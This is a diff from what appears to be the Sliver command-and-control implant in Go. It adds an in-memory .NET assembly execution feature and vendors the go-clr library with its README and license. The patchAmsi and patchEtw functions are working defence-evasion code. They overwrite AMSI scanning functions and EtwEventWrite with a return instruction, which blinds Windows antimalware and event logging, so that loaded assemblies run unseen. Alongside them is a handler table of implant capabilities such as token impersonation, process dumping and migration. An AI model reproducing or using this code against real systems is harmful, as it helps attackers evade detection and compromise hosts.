sliverpb.MsgProcessDumpReq: dumpHandler,
|
||||
sliverpb.MsgImpersonateReq: impersonateHandler,
|
||||
sliverpb.MsgRevToSelfReq: revToSelfHandler,
|
||||
sliverpb.MsgRunAsReq: runAsHandler,
|
||||
sliverpb.MsgInvokeGetSystemReq: getsystemHandler,
|
||||
sliverpb.MsgInvokeExecuteAssemblyReq: executeAssemblyHandler,
|
||||
sliverpb.MsgInvokeMigrateReq: migrateHandler,
|
||||
sliverpb.MsgSpawnDllReq: spawnDllHandler,
|
||||
sliverpb.MsgStartServiceReq: startService,
|
||||
sliverpb.MsgStopServiceReq: stopService,
|
||||
sliverpb.MsgRemoveServiceReq: removeService,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgExecuteWindowsReq: executeWindowsHandler,
|
||||
sliverpb.MsgGetPrivsReq: getPrivsHandler,
|
||||
sliverpb.MsgCurrentTokenOwnerReq: currentTokenOwnerHandler,
|
||||
sliverpb.MsgTaskReq: taskHandler,
|
||||
sliverpb.MsgProcessDumpReq: dumpHandler,
|
||||
sliverpb.MsgImpersonateReq: impersonateHandler,
|
||||
sliverpb.MsgRevToSelfReq: revToSelfHandler,
|
||||
sliverpb.MsgRunAsReq: runAsHandler,
|
||||
sliverpb.MsgInvokeGetSystemReq: getsystemHandler,
|
||||
sliverpb.MsgInvokeExecuteAssemblyReq: executeAssemblyHandler,
|
||||
sliverpb.MsgInvokeInProcExecuteAssemblyReq: inProcExecuteAssemblyHandler,
|
||||
sliverpb.MsgInvokeMigrateReq: migrateHandler,
|
||||
sliverpb.MsgSpawnDllReq: spawnDllHandler,
|
||||
sliverpb.MsgStartServiceReq: startService,
|
||||
sliverpb.MsgStopServiceReq: stopService,
|
||||
sliverpb.MsgRemoveServiceReq: removeService,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgExecuteWindowsReq: executeWindowsHandler,
|
||||
sliverpb.MsgGetPrivsReq: getPrivsHandler,
|
||||
sliverpb.MsgCurrentTokenOwnerReq: currentTokenOwnerHandler,
|
||||
|
||||
// Platform specific
|
||||
sliverpb.MsgIfconfigReq: ifconfigHandler,
|
||||
@@ -238,6 +239,26 @@ func executeAssemblyHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
}
|
||||
|
||||
func inProcExecuteAssemblyHandler(data []byte, resp RPCResponse) {
|
||||
execReq := &sliverpb.InvokeInProcExecuteAssemblyReq{}
|
||||
err := proto.Unmarshal(data, execReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
output, err := taskrunner.InProcExecuteAssembly(execReq.Data, execReq.Arguments, execReq.Runtime, execReq.AmsiBypass, execReq.EtwBypass)
|
||||
execAsm := &sliverpb.ExecuteAssembly{Output: []byte(output)}
|
||||
if err != nil {
|
||||
execAsm.Response = &commonpb.Response{
|
||||
Err: err.Error(),
|
||||
}
|
||||
}
|
||||
data, err = proto.Marshal(execAsm)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func executeWindowsHandler(data []byte, resp RPCResponse) {
|
||||
var (
|
||||
err error
|
||||
|
||||
@@ -0,0 +1,109 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package taskrunner
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"errors"
|
||||
"fmt"
|
||||
clr "github.com/Ne0nd0g/go-clr"
|
||||
"sync"
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
var (
|
||||
clrInstance *CLRInstance
|
||||
assemblies []*assembly
|
||||
)
|
||||
|
||||
type assembly struct {
|
||||
methodInfo *clr.MethodInfo
|
||||
hash [32]byte
|
||||
}
|
||||
|
||||
type CLRInstance struct {
|
||||
runtimeHost *clr.ICORRuntimeHost
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
func (c *CLRInstance) GetRuntimeHost(runtime string) *clr.ICORRuntimeHost {
|
||||
c.Lock()
|
||||
defer c.Unlock()
|
||||
if c.runtimeHost == nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Initializing CLR runtime host")
|
||||
// {{end}}
|
||||
c.runtimeHost, _ = clr.LoadCLR(runtime)
|
||||
err := clr.RedirectStdoutStderr()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("could not redirect stdout/stderr: %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
return c.runtimeHost
|
||||
}
|
||||
|
||||
func LoadAssembly(data []byte, assemblyArgs []string, runtime string) (string, error) {
|
||||
var (
|
||||
methodInfo *clr.MethodInfo
|
||||
err error
|
||||
)
|
||||
|
||||
rtHost := clrInstance.GetRuntimeHost(runtime)
|
||||
if rtHost == nil {
|
||||
return "", errors.New("Could not load CLR runtime host")
|
||||
}
|
||||
|
||||
if asm := getAssembly(data); asm != nil {
|
||||
methodInfo = asm.methodInfo
|
||||
} else {
|
||||
methodInfo, err = clr.LoadAssembly(rtHost, data)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("could not load assembly: %v\n", err)
|
||||
// {{end}}
|
||||
return "", err
|
||||
}
|
||||
addAssembly(methodInfo, data)
|
||||
}
|
||||
if len(assemblyArgs) == 1 && assemblyArgs[0] == "" {
|
||||
// for methods like Main(String[] args), if we pass an empty string slice
|
||||
// the clr loader will not pass the argument and look for a method with
|
||||
// no arguments, which won't work
|
||||
assemblyArgs = []string{" "}
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Assembly loaded, methodInfo: %+v\n", methodInfo)
|
||||
log.Printf("Calling assembly with args: %+v\n", assemblyArgs)
|
||||
// {{end}}
|
||||
stdout, stderr := clr.InvokeAssembly(methodInfo, assemblyArgs)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Got output: %s\n%s\n", stdout, stderr)
|
||||
// {{end}}
|
||||
return fmt.Sprintf("%s\n%s", stdout, stderr), nil
|
||||
}
|
||||
|
||||
func addAssembly(methodInfo *clr.MethodInfo, data []byte) {
|
||||
asmHash := sha256.Sum256(data)
|
||||
asm := &assembly{methodInfo: methodInfo, hash: asmHash}
|
||||
assemblies = append(assemblies, asm)
|
||||
}
|
||||
|
||||
func getAssembly(data []byte) *assembly {
|
||||
asmHash := sha256.Sum256(data)
|
||||
for _, asm := range assemblies {
|
||||
if asm.hash == asmHash {
|
||||
return asm
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func init() {
|
||||
clrInstance = &CLRInstance{}
|
||||
assemblies = make([]*assembly, 0)
|
||||
}
|
||||
@@ -200,6 +200,96 @@ func LocalTask(data []byte, rwxPages bool) error {
|
||||
return err
|
||||
}
|
||||
|
||||
func patchAmsi() error {
|
||||
// load amsi.dll
|
||||
amsiDLL := windows.NewLazyDLL("amsi.dll")
|
||||
amsiScanBuffer := amsiDLL.NewProc("AmsiScanBuffer")
|
||||
amsiInitialize := amsiDLL.NewProc("AmsiInitialize")
|
||||
amsiScanString := amsiDLL.NewProc("AmsiScanString")
|
||||
|
||||
// patch
|
||||
amsiAddr := []uintptr{
|
||||
amsiScanBuffer.Addr(),
|
||||
amsiInitialize.Addr(),
|
||||
amsiScanString.Addr(),
|
||||
}
|
||||
patch := byte(0xC3)
|
||||
for _, addr := range amsiAddr {
|
||||
// skip if already patched
|
||||
if *(*byte)(unsafe.Pointer(addr)) != patch {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Patching AMSI")
|
||||
// {{end}}
|
||||
var oldProtect uint32
|
||||
err := windows.VirtualProtect(addr, 1, windows.PAGE_READWRITE, &oldProtect)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("VirtualProtect failed:", err)
|
||||
//{{end}}
|
||||
return err
|
||||
}
|
||||
*(*byte)(unsafe.Pointer(addr)) = 0xC3
|
||||
err = windows.VirtualProtect(addr, 1, oldProtect, &oldProtect)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("VirtualProtect (restauring) failed:", err)
|
||||
//{{end}}
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func patchEtw() error {
|
||||
ntdll := windows.NewLazyDLL("ntdll.dll")
|
||||
etwEventWriteProc := ntdll.NewProc("EtwEventWrite")
|
||||
|
||||
// patch
|
||||
patch := byte(0xC3)
|
||||
// skip if already patched
|
||||
if *(*byte)(unsafe.Pointer(etwEventWriteProc.Addr())) != patch {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Patching ETW")
|
||||
// {{end}}
|
||||
var oldProtect uint32
|
||||
err := windows.VirtualProtect(etwEventWriteProc.Addr(), 1, windows.PAGE_READWRITE, &oldProtect)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("VirtualProtect failed:", err)
|
||||
//{{end}}
|
||||
return err
|
||||
}
|
||||
*(*byte)(unsafe.Pointer(etwEventWriteProc.Addr())) = 0xC3
|
||||
err = windows.VirtualProtect(etwEventWriteProc.Addr(), 1, oldProtect, &oldProtect)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("VirtualProtect (restauring) failed:", err)
|
||||
//{{end}}
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func InProcExecuteAssembly(assemblyBytes []byte, assemblyArgs []string, runtime string, amsiBypass bool, etwBypass bool) (string, error) {
|
||||
if amsiBypass {
|
||||
err := patchAmsi()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
|
||||
if etwBypass {
|
||||
err := patchEtw()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
|
||||
return LoadAssembly(assemblyBytes, assemblyArgs, runtime)
|
||||
}
|
||||
|
||||
func ExecuteAssembly(data []byte, process string, processArgs []string, ppid uint32) (string, error) {
|
||||
var (
|
||||
stdoutBuf, stderrBuf bytes.Buffer
|
||||
|
||||
@@ -0,0 +1,7 @@
|
||||
.idea
|
||||
__handlers__
|
||||
*.exe
|
||||
*.dll
|
||||
*.cs
|
||||
scratch/
|
||||
static/
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
|
||||
Version 2, December 2004
|
||||
|
||||
Copyright (C) 2004 Sam Hocevar <[email protected]>
|
||||
|
||||
Everyone is permitted to copy and distribute verbatim or modified
|
||||
copies of this license document, and changing it is allowed as long
|
||||
as the name is changed.
|
||||
|
||||
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
|
||||
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||
|
||||
0. You just DO WHAT THE FUCK YOU WANT TO.
|
||||
+69
@@ -0,0 +1,69 @@
|
||||
# go-clr
|
||||
[](https://godoc.org/github.com/ropnop/go-clr)
|
||||
|
||||
This is my PoC code for hosting the CLR in a Go process and using it to execute a DLL from disk or an assembly from memory.
|
||||
|
||||
It's written in pure Go by just wrapping the needed syscalls and making use of a lot of unsafe.Pointers to
|
||||
load structs from memory.
|
||||
|
||||
For more info and references, see [this blog post](https://blog.ropnop.com/hosting-clr-in-golang/).
|
||||
|
||||
This was was a fun project and proof of concept, but the code is definitely not "production ready". It makes heavy use
|
||||
of `unsafe` and it's probably very unstable. I don't plan on supporting it much moving forward,
|
||||
but I wanted to share the code and knowledge to enable others to either contribute, or fork and make their own awesome tools.
|
||||
|
||||
## Installation and Usage
|
||||
`go-clr` is intended to be used as a package in other scripts. Install it with:
|
||||
```bash
|
||||
go get github.com/ropnop/go-clr
|
||||
```
|
||||
|
||||
Take a look at the [examples](./examples) folder for some examples on how to leverage it. The package exposes all the structs and methods
|
||||
necessary to customize, but it also includes two "magic" functions to execute .NET from Go: `ExecuteDLLFromDisk` and
|
||||
`ExecuteByteArray`. Here's a quick example of using both:
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
clr "github.com/ropnop/go-clr"
|
||||
"log"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"runtime"
|
||||
)
|
||||
|
||||
func main() {
|
||||
fmt.Println("[+] Loading DLL from Disk")
|
||||
ret, err := clr.ExecuteDLLFromDisk(
|
||||
"TestDLL.dll",
|
||||
"TestDLL.HelloWorld",
|
||||
"SayHello",
|
||||
"foobar")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Printf("[+] DLL Return Code: %d\n", ret)
|
||||
|
||||
|
||||
fmt.Println("[+] Executing EXE from memory")
|
||||
exebytes, err := ioutil.ReadFile("helloworld.exe")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
runtime.KeepAlive(exebytes)
|
||||
|
||||
ret2, err := clr.ExecuteByteArray(exebytes)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Printf("[+] EXE Return Code: %d\n", ret2)
|
||||
}
|
||||
```
|
||||
|
||||
The other 2 examples show the same technique but without the magic functions.
|
||||
|
||||
### License
|
||||
This project is licensed under the [Do What the Fuck You Want to Public License](http://www.wtfpl.net/). I deliberately
|
||||
chose this "joke" license because I really don't think anyone should be using this for anything serious, and I know
|
||||
some organizations forbid this license from being used in products (which is a good thing).
|
||||
+212
@@ -0,0 +1,212 @@
|
||||
//go:build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// AppDomain is a Windows COM object interface pointer for the .NET AppDomain class.
|
||||
// The AppDomain object represents an application domain, which is an isolated environment where applications execute.
|
||||
// This structure only contains a pointer to the AppDomain's virtual function table
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain?view=netframework-4.8
|
||||
type AppDomain struct {
|
||||
vtbl *AppDomainVtbl
|
||||
}
|
||||
|
||||
// AppDomainVtbl is a Virtual Function Table for the AppDomain COM interface
|
||||
// The Virtual Function Table contains pointers to the COM IUnkown interface
|
||||
// functions (QueryInterface, AddRef, & Release) as well as the AppDomain object's methods
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain?view=netframework-4.8
|
||||
type AppDomainVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
GetTypeInfoCount uintptr
|
||||
GetTypeInfo uintptr
|
||||
GetIDsOfNames uintptr
|
||||
Invoke uintptr
|
||||
get_ToString uintptr
|
||||
Equals uintptr
|
||||
GetHashCode uintptr
|
||||
GetType uintptr
|
||||
InitializeLifetimeService uintptr
|
||||
GetLifetimeService uintptr
|
||||
get_Evidence uintptr
|
||||
add_DomainUnload uintptr
|
||||
remove_DomainUnload uintptr
|
||||
add_AssemblyLoad uintptr
|
||||
remove_AssemblyLoad uintptr
|
||||
add_ProcessExit uintptr
|
||||
remove_ProcessExit uintptr
|
||||
add_TypeResolve uintptr
|
||||
remove_TypeResolve uintptr
|
||||
add_ResourceResolve uintptr
|
||||
remove_ResourceResolve uintptr
|
||||
add_AssemblyResolve uintptr
|
||||
remove_AssemblyResolve uintptr
|
||||
add_UnhandledException uintptr
|
||||
remove_UnhandledException uintptr
|
||||
DefineDynamicAssembly uintptr
|
||||
DefineDynamicAssembly_2 uintptr
|
||||
DefineDynamicAssembly_3 uintptr
|
||||
DefineDynamicAssembly_4 uintptr
|
||||
DefineDynamicAssembly_5 uintptr
|
||||
DefineDynamicAssembly_6 uintptr
|
||||
DefineDynamicAssembly_7 uintptr
|
||||
DefineDynamicAssembly_8 uintptr
|
||||
DefineDynamicAssembly_9 uintptr
|
||||
CreateInstance uintptr
|
||||
CreateInstanceFrom uintptr
|
||||
CreateInstance_2 uintptr
|
||||
CreateInstanceFrom_2 uintptr
|
||||
CreateInstance_3 uintptr
|
||||
CreateInstanceFrom_3 uintptr
|
||||
Load uintptr
|
||||
Load_2 uintptr
|
||||
Load_3 uintptr
|
||||
Load_4 uintptr
|
||||
Load_5 uintptr
|
||||
Load_6 uintptr
|
||||
Load_7 uintptr
|
||||
ExecuteAssembly uintptr
|
||||
ExecuteAssembly_2 uintptr
|
||||
ExecuteAssembly_3 uintptr
|
||||
get_FriendlyName uintptr
|
||||
get_BaseDirectory uintptr
|
||||
get_RelativeSearchPath uintptr
|
||||
get_ShadowCopyFiles uintptr
|
||||
GetAssemblies uintptr
|
||||
AppendPrivatePath uintptr
|
||||
ClearPrivatePath uintptr
|
||||
SetShadowCopyPath uintptr
|
||||
ClearShadowCopyPath uintptr
|
||||
SetCachePath uintptr
|
||||
SetData uintptr
|
||||
GetData uintptr
|
||||
SetAppDomainPolicy uintptr
|
||||
SetThreadPrincipal uintptr
|
||||
SetPrincipalPolicy uintptr
|
||||
DoCallBack uintptr
|
||||
get_DynamicDirectory uintptr
|
||||
}
|
||||
|
||||
// GetAppDomain is a wrapper function that returns an appDomain from an existing ICORRuntimeHost object
|
||||
func GetAppDomain(runtimeHost *ICORRuntimeHost) (appDomain *AppDomain, err error) {
|
||||
debugPrint("Entering into appdomain.GetAppDomain()...")
|
||||
iu, err := runtimeHost.GetDefaultDomain()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = iu.QueryInterface(IID_AppDomain, unsafe.Pointer(&appDomain))
|
||||
return
|
||||
}
|
||||
|
||||
func (obj *AppDomain) QueryInterface(riid *windows.GUID, ppvObject *uintptr) uintptr {
|
||||
debugPrint("Entering into appdomain.QueryInterface()...")
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(riid)),
|
||||
uintptr(unsafe.Pointer(ppvObject)))
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *AppDomain) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *AppDomain) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// GetHashCode serves as the default hash function.
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.object.gethashcode?view=netframework-4.8#System_Object_GetHashCode
|
||||
func (obj *AppDomain) GetHashCode() (int32, error) {
|
||||
debugPrint("Entering into appdomain.GetHashCode()...")
|
||||
ret, _, err := syscall.Syscall(
|
||||
obj.vtbl.GetHashCode,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, fmt.Errorf("the appdomain.GetHashCode function returned an error:\r\n%s", err)
|
||||
}
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
return int32(ret), nil
|
||||
}
|
||||
|
||||
// Load_3 Loads an Assembly into this application domain.
|
||||
// virtual HRESULT __stdcall Load_3 (
|
||||
// /*[in]*/ SAFEARRAY * rawAssembly,
|
||||
// /*[out,retval]*/ struct _Assembly * * pRetVal ) = 0;
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.load?view=net-5.0
|
||||
func (obj *AppDomain) Load_3(rawAssembly *SafeArray) (assembly *Assembly, err error) {
|
||||
debugPrint("Entering into appdomain.Load_3()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.Load_3,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(rawAssembly)),
|
||||
uintptr(unsafe.Pointer(&assembly)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
if err != syscall.Errno(1150) {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the appdomain.Load_3 function returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// ToString Obtains a string representation that includes the friendly name of the application domain and any context policies.
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.tostring?view=net-5.0#System_AppDomain_ToString
|
||||
func (obj *AppDomain) ToString() (domain string, err error) {
|
||||
debugPrint("Entering into appdomain.ToString()...")
|
||||
var pDomain *string
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.get_ToString,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&pDomain)),
|
||||
0,
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the AppDomain.ToString method retured an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the AppDomain.ToString method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
domain = ReadUnicodeStr(unsafe.Pointer(pDomain))
|
||||
return
|
||||
}
|
||||
+129
@@ -0,0 +1,129 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// from mscorlib.tlh
|
||||
|
||||
type Assembly struct {
|
||||
vtbl *AssemblyVtbl
|
||||
}
|
||||
|
||||
// AssemblyVtbl is a COM virtual table of functions for the Assembly Class
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly?view=netframework-4.8
|
||||
type AssemblyVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
GetTypeInfoCount uintptr
|
||||
GetTypeInfo uintptr
|
||||
GetIDsOfNames uintptr
|
||||
Invoke uintptr
|
||||
get_ToString uintptr
|
||||
Equals uintptr
|
||||
GetHashCode uintptr
|
||||
GetType uintptr
|
||||
get_CodeBase uintptr
|
||||
get_EscapedCodeBase uintptr
|
||||
GetName uintptr
|
||||
GetName_2 uintptr
|
||||
get_FullName uintptr
|
||||
get_EntryPoint uintptr
|
||||
GetType_2 uintptr
|
||||
GetType_3 uintptr
|
||||
GetExportedTypes uintptr
|
||||
GetTypes uintptr
|
||||
GetManifestResourceStream uintptr
|
||||
GetManifestResourceStream_2 uintptr
|
||||
GetFile uintptr
|
||||
GetFiles uintptr
|
||||
GetFiles_2 uintptr
|
||||
GetManifestResourceNames uintptr
|
||||
GetManifestResourceInfo uintptr
|
||||
get_Location uintptr
|
||||
get_Evidence uintptr
|
||||
GetCustomAttributes uintptr
|
||||
GetCustomAttributes_2 uintptr
|
||||
IsDefined uintptr
|
||||
GetObjectData uintptr
|
||||
add_ModuleResolve uintptr
|
||||
remove_ModuleResolve uintptr
|
||||
GetType_4 uintptr
|
||||
GetSatelliteAssembly uintptr
|
||||
GetSatelliteAssembly_2 uintptr
|
||||
LoadModule uintptr
|
||||
LoadModule_2 uintptr
|
||||
CreateInstance uintptr
|
||||
CreateInstance_2 uintptr
|
||||
CreateInstance_3 uintptr
|
||||
GetLoadedModules uintptr
|
||||
GetLoadedModules_2 uintptr
|
||||
GetModules uintptr
|
||||
GetModules_2 uintptr
|
||||
GetModule uintptr
|
||||
GetReferencedAssemblies uintptr
|
||||
get_GlobalAssemblyCache uintptr
|
||||
}
|
||||
|
||||
func (obj *Assembly) QueryInterface(riid *windows.GUID, ppvObject *uintptr) uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(riid)),
|
||||
uintptr(unsafe.Pointer(ppvObject)))
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *Assembly) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *Assembly) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// GetEntryPoint returns the assembly's MethodInfo
|
||||
// virtual HRESULT __stdcall get_EntryPoint (
|
||||
// /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0;
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.entrypoint?view=netframework-4.8#System_Reflection_Assembly_EntryPoint
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodinfo?view=netframework-4.8
|
||||
func (obj *Assembly) GetEntryPoint() (pRetVal *MethodInfo, err error) {
|
||||
debugPrint("Entering into assembly.GetEntryPoint()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.get_EntryPoint,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&pRetVal)),
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the Assembly::GetEntryPoint method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the Assembly::GetEntryPoint method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
+367
@@ -0,0 +1,367 @@
|
||||
// +build windows
|
||||
|
||||
// go-clr is a PoC package that wraps Windows syscalls necessary to load and the CLR into the current process and
|
||||
// execute a managed DLL from disk or a managed EXE from memory
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// GetInstallRuntimes is a wrapper function that returns an array of installed runtimes. Requires an existing ICLRMetaHost
|
||||
func GetInstalledRuntimes(metahost *ICLRMetaHost) ([]string, error) {
|
||||
var runtimes []string
|
||||
enumICLRRuntimeInfo, err := metahost.EnumerateInstalledRuntimes()
|
||||
if err != nil {
|
||||
return runtimes, err
|
||||
}
|
||||
|
||||
var hr int
|
||||
for hr != S_FALSE {
|
||||
var runtimeInfo *ICLRRuntimeInfo
|
||||
var fetched = uint32(0)
|
||||
hr, err = enumICLRRuntimeInfo.Next(1, unsafe.Pointer(&runtimeInfo), &fetched)
|
||||
if err != nil {
|
||||
return runtimes, fmt.Errorf("InstalledRuntimes Next Error:\r\n%s\n", err)
|
||||
}
|
||||
if hr == S_FALSE {
|
||||
break
|
||||
}
|
||||
// Only release if an interface pointer was returned
|
||||
runtimeInfo.Release()
|
||||
|
||||
version, err := runtimeInfo.GetVersionString()
|
||||
if err != nil {
|
||||
return runtimes, err
|
||||
}
|
||||
runtimes = append(runtimes, version)
|
||||
}
|
||||
if len(runtimes) == 0 {
|
||||
return runtimes, fmt.Errorf("Could not find any installed runtimes")
|
||||
}
|
||||
return runtimes, err
|
||||
}
|
||||
|
||||
// ExecuteDLLFromDisk is a wrapper function that will automatically load the latest installed CLR into the current process
|
||||
// and execute a DLL on disk in the default app domain. It takes in the target runtime, DLLPath, TypeName, MethodName
|
||||
// and Argument to use as strings. It returns the return code from the assembly
|
||||
func ExecuteDLLFromDisk(targetRuntime, dllpath, typeName, methodName, argument string) (retCode int16, err error) {
|
||||
retCode = -1
|
||||
if targetRuntime == "" {
|
||||
targetRuntime = "v4"
|
||||
}
|
||||
metahost, err := CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
runtimes, err := GetInstalledRuntimes(metahost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var latestRuntime string
|
||||
for _, r := range runtimes {
|
||||
if strings.Contains(r, targetRuntime) {
|
||||
latestRuntime = r
|
||||
break
|
||||
} else {
|
||||
latestRuntime = r
|
||||
}
|
||||
}
|
||||
runtimeInfo, err := GetRuntimeInfo(metahost, latestRuntime)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
isLoadable, err := runtimeInfo.IsLoadable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if !isLoadable {
|
||||
return -1, fmt.Errorf("%s is not loadable for some reason", latestRuntime)
|
||||
}
|
||||
runtimeHost, err := GetICLRRuntimeHost(runtimeInfo)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
pDLLPath, err := syscall.UTF16PtrFromString(dllpath)
|
||||
must(err)
|
||||
pTypeName, err := syscall.UTF16PtrFromString(typeName)
|
||||
must(err)
|
||||
pMethodName, err := syscall.UTF16PtrFromString(methodName)
|
||||
must(err)
|
||||
pArgument, err := syscall.UTF16PtrFromString(argument)
|
||||
must(err)
|
||||
|
||||
ret, err := runtimeHost.ExecuteInDefaultAppDomain(pDLLPath, pTypeName, pMethodName, pArgument)
|
